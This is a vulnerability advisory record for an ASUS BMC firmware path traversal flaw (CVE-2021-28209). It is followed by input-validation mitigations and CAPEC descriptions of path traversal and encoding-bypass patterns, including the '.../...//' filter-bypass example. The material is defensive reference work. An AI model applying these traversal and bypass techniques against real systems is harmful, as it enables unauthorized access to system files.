"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-06T05:15:00Z",
"severity": "MODERATE"
},
"details": "The specific function in ASUS BMC\u2019s firmware Web management page (Delete video file function) does not filter the specific parameter. As obtaining the administrator permission, remote attackers can use the means of path traversal to access system files.",
"id": "GHSA-wm46-gchr-6vgg",
"modified": "2022-05-24T22:29:03Z",
"published": "2022-05-24T22:29:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28209"
},
{
"type": "WEB",
"url": "https://www.asus.com/content/ASUS-Product-Security-Advisory"
},
{
"type": "WEB",
"url": "https://www.asus.com/tw/support/callus"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-4579-c8827-1.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.